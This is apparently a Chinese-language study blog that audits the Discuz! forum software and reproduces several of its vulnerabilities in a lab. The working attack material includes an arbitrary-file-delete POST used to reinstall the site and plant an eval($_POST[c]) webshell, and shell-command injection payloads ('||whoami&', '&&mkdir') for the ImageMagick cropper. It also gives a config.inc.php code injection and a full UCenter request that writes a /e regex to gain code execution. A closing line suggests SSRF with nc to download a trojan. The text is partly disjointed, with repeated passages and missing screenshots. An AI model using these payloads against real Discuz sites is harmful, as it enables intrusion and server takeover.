看了几天的代码审计(seay法师著),是时候拿最出名的学习下了
Discuzx32
环境搭建
开始复现一个最近爆出的漏洞
新注册账户test,会在bbs2下生成text.txt
登陆账号后 test/test
构造POC:
home.php?mod=spacecp&ac=profile&op=base
POST birthprovince=../../../test.txt&profilesubmit=1&formhash=b644603b
其中formhash为用户hash
修改成功之后出生地就会变为../../../test.txt
然后删除bbs2目录下的test.txt
但是这里出错了 不知道是不是版本问题
代码审计:
总结整个漏洞利用流程:
修改birthprovince->上传图片->执行unlink->删除任意文件
这里可以删除install.lock 文件,然后打开网站根目录的install,重新安装,配置数据库的时候写入一句话,拿shell
命令执行漏洞
在管理员开启ImageMagick上传图片功能的前提下,攻击者只需要一个普通用户权限即可,后台设置方法如下图: 由于这个功能是对图片进行处理的,所以,要在访问时提供一个本站有效的图片地址。而且最好是存放在data/attachment目录下的,因为默认就是这个目录,否则就要用“../”来修改路径。 所以我的访问路径为:payload:
http://127.0.0.1/AllCMS/Discuzx/Discuzx32gbk/bbs2/misc.php?mod=imgcropper&img=1.jpg
然后使用chrome审查元素功能,修改picwidth的value为“||whoami&”,如下图所示: 然后点击网页右下角的裁剪按钮就触发了。为了能直观显示,我添加了一行代码将接受执行结果的$return变量,echo出来并exit来结束掉后面的语句,效果如下图所示:
然后点击网页右下角的裁剪按钮就触发了。为了能直观显示,我添加了一行代码将接受执行结果的$return变量,echo出来并exit来结束掉后面的语句,效果如下图所示:
1. 同点后台命令执行
在后台全局->上传设置->ImageMagick 程序安装路径 由于这个功能是对图片进行处理的,所以,要在访问时提供一个本站有效的图片地址。而且最好是存放在data/attachment目录下的,因为默认就是这个目录,否则就要用“../”来修改路径。 所以我的访问路径为 然后直接点击左下角的裁剪,虽然会返回图片访问错误,但是命令却正常执行了,如下图所示:
2. ImageMagick
这个漏洞需要在后台开启ImageMagick功能,并确保ImageMagick功能正常运行。下图是我在后台中开启的这个功能,并填写ImageMagick安装目录。 如果这个功能开启,我们甚至可以在没有账号的情况下,前台完成命令执行的触发。 首先访问裁切图片的这个功能,因为这个漏洞的触发必须要有一张有效图片,所以我们可以在论坛帖子中随便找到一张图片来引用。例如:我的发帖图片是: 那么我要访问的裁切功能的URL为: 然后修改POST数据包中cutheight或者cutwidth中的内容为“%26%26mkdir tsrc||”提交,就可以在discuz根目录下创建一个tsrc的目录。 修改输入包如下图所示: 提交后效果如下图所示:
Discuz25
DiscuzX3.1
EXP:
密码是c
config.inc.php写入了一句话
完整的Payload
index.php 文件分析
<?php
// 包含了common.inc.php文件
require './include/common.inc.php';
// 关于getgpc函数 在global_func.php 中。参考:http://blog.csdn.net/xavierdarkness/article/details/78062852
$action = getgpc('a'); // 取$_POST['a'],直接赋值给$action ,此时$action = config;
$action = empty($action) ? getgpc('action') : $action; //此时 $action = config;
$source = getgpc('source') ? getgpc('source') : getgpc('s'); // $source = d7.2_x2.0 HTTP/1.1;
$step = getgpc('step');
$start = getgpc('start');
……省略部分源码……
if($action == 'source') {
require DISCUZ_ROOT.'./include/do_source.inc.php';
// common.inc.php 如果config.inc.php文件不存在,就为true
} elseif($action == 'config' || CONFIG_EMPTY) { // $action = config; 包含./include/do_config.inc.php 文件
require DISCUZ_ROOT.'./include/do_config.inc.php';
} elseif($action == 'setting') {
……省略 ……
?>
do_config.inc.php
<?php
$configfile = DISCUZ_ROOT.'./data/config.inc.php';
$configfile_default = DISCUZ_ROOT.'./data/config.default.php';
// 创建config.inc.php
@touch($configfile);
// 检查写入权限
if(!is_writable($configfile)) {
showmessage('config_write_error');
}
$config_default = loadconfig('config.default.php'); // 设置配置文件
$error = array();
// submitcheck()返回true,此函数定义在 include\global.func.php 文件中
if(submitcheck()) {
$newconfig = getgpc('newconfig'); //取$_POST[newconfig]数据
/*此时newconfig[aaa
eval(eval("$_POST[c];"););//];
*/
if(is_array($newconfig)) {
$checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
foreach ($checkarray as $key) {
if(!empty($newconfig[$key]['dbhost'])) {
$check = mysql_connect_test($newconfig[$key], $key);
if($check < 0) {
$error[$key] = lang('mysql_connect_error_'.abs($check));
}
} else {
$error[$key] = lang('mysql_config_error');
}
}
//保存$newconfig到$configfile文件中,即config.inc.php文件。接下去查看一下这个函数吧。
save_config_file($configfile, $newconfig, $config_default);
if(empty($error)) {
$db_target = new db_mysql($newconfig['target']);
$db_target->connect();
delete_process('all');
showmessage('config_success', 'index.php?a=select&source='.$source);
}
}
}
?>
函数 save_config_file
function save_config_file($filename, $config, $default) {
$config = setdefault($config, $default); // 将$config中的空白项用 $default 中对应项的值填充
// 联系上下文,即将 './data/config.default.php'文件对应项 赋值给 $newconfig 这个数组中对应的空白项
// 此时的$config = $newconfig+config.default.php对应项的补充
$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
$year = date('Y');
$content = <<<EOT
<?php
\$_config = array();
EOT;
// 看下一步getvars函数,此时的$config = $newconfig+config.default.php对应项的补充
$content .= getvars(array('_config' => $config));
$content .= "\r\n// ".str_pad(' THE END ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
file_put_contents($filename, $content);
}
function setdefault($var, $default) {
foreach ($default as $k => $v) {
if(!isset($var[$k])) {
$var[$k] = $default[$k];
} elseif(is_array($v)) {
$var[$k] = setdefault($var[$k], $default[$k]);
}
}
return $var;
}
函数 getvars
所在文件:\utility\convert\include\global.func.php// $data = array('_config' => $config) 其中 $config = $newconfig+config.default.php对应项的补充
function getvars($data, $type = 'VAR') {
$evaluate = '';
foreach($data as $key => $val) {
if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
continue;
}
if(is_array($val)) {
// 查看buildarray函数,$key 即为_config
$evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
} else {
$val = addcslashes($val, '\'\\');
$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
}
}
return $evaluate;
}
buildarray函数
所在文件:\utility\convert\include\global.func.php
// 这里的$array=$config $level=0 $pre=$_config
function buildarray($array, $level = 0, $pre = '$_config') {
static $ks;
if($level == 0) {
$ks = array();
$return = '';
}
foreach ($array as $key => $val) {
// 遍历$config 中的 $key => $val , 键值对应项
if($level == 0) {
//str_pad — 使用另一个字符串填充字符串为指定长度
// 第一个参数是要输出的字符串,指定长度为50,用'-'填充,居中
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
/*
这里是产生漏洞关键
1. DISCUZ的本意是使用$config数组的key作为每一块配置区域的"注释标题"
2. 写入配置文件的$newline依赖于$key,而$key是攻击者可控的
3. 未对输入数据进行正确的边界处理,导致攻击者在输入数据中插入换行符,逃离注释的作用范围,从而使输入数据转化为可执行代码
1) 换行符
2) ?>
这类定界符都是可以达到同样的效果的
*/
$return .= "\r\n// $newline //\r\n";
}
$ks[$level] = $ks[$level - 1]."['$key']";
if(is_array($val)) {
$ks[$level] = $ks[$level - 1]."['$key']";
$return .= buildarray($val, $level + 1, $pre);
} else {
$val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val;
$return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n";
}
}
return $return;
}
UCenter 利用
首先我们们访问
api/uc.php
(居然可以直接访问,好开心),之后我们会发现uc处理机制中比较讨厌的环节——用户传递的参数需要经过
UC_KEY
加密:
if(!defined('IN_UC')) {
require_once '../source/class/class_core.php';
$discuz = C::app();
$discuz->init();
require DISCUZ_ROOT.'./config/config_ucenter.php';
$get = $post = array();
$code = @$_GET['code'];
parse_str(authcode($code, 'DECODE', UC_KEY), $get);
->UCenter
设置中发现有“
UCenter 通信密钥
”这个字段,这是用于操控discuz和uc连接的app key,而非高级的uc_server key,不过对于我们getshell来说足够了。在这里修改为任意值,这样我们就获取到了加密用的key值了。
从下图我们可以看到,配置文件已经被修改了:
然后我们在自己搭建的discuz的
api/uc.php
文件中添加两行代码,来加密get请求所需要的内容:
$a = 'time='.time().'&action=updatebadwords';
$code = authcode($a, 'ENCODE', 'tang3');
echo $code;exit;
POST /discuzx3.220150602/api/uc.php?formhash=e6d7c425&code=38f8nhcm4VRgdUvoEUoEs/OpuXNJDgh0Qfep%2bT52HDEyTpHnR4PQ80%2be%2bNCyOWI0DMrXizYwbGFcM/J0Y3a8Zc/N HTTP/1.1
Host: 192.168.188.144
Proxy-Connection: keep-alive
Content-Length: 178
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.188.144
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2415.0 Safari/537.36
Content-Type: text/xml
Referer: http://192.168.188.144/discuzx3.220150602/admin.php?action=setting&operation=uc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: FPDO_2132_saltkey=Z777zGG4; FPDO_2132_lastvisit=1432691505; FPDO_2132_ulastactivity=5830S8vsYWw6CpVTPpdtOgw6cPIZugHKtMQidjBgfdqDGbQJfSmj; so6a_2132_saltkey=JjZJ2klz; so6a_2132_lastvisit=1433227409; so6a_2132_nofavfid=1; so6a_2132_forum_lastvisit=D_2_1433233630; so6a_2132_visitedfid=2; so6a_2132_editormode_e=1; so6a_2132_smile=1D1; so6a_2132_lastcheckfeed=1%7C1433239071; XDEBUG_SESSION=PHPSTORM; so6a_2132_ulastactivity=5238LLJuvhc%2FhKaXEaIzRYm5hbbEAlOy3RL8Lc92aDETkVQJidZY; so6a_2132_auth=96c9HcEpd8OxPZh6GE5stu4Uov%2BUncVwxWbetMvF%2BFZLNuEVj8VoiFyDMkWkXdQ81eg%2F6522CLnsHbkzv%2Fdu; so6a_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; so6a_2132_creditbase=0D0D10D0D0D0D0D0D0; so6a_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; so6a_2132_checkupgrade=1; so6a_2132_lastact=1433476664%09admin.php%09; so6a_2132_sid=LE2xb1
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="balabala">
<item id="findpattern">/.*/e</item>
<item id="replacement">phpinfo();</item>
</item>
</root>
发送后可以发现
uc_client/data/cache
目录下的
badwords.php
内容变为了我们刚刚设定的正则表达式的样子:
之后利用方法就有很多种了,可以通过增加一个用户来实现代码执行,也可以通过发消息的方式来触发,这里我以添加一个用户为例。
参考:
http://www.freebuf.com/vuls/149904.html
http://0day5.com/archives/3292/
https://www.jianshu.com/p/c51b414d2bf0
http://a.cn/discuz_x3.2_sc_gbk/upload/portal.php?mod=view&aid=1 //发表文章处
http://a.cn/discuz_x3.2_sc_gbk/upload/forum.php?mod=redirect&goto=findpost&modthreadkey=*****&ptid=1&pid=1 //登录后编辑文章处
配合nc ssrf远程下载主机的恶意木马 拿到shell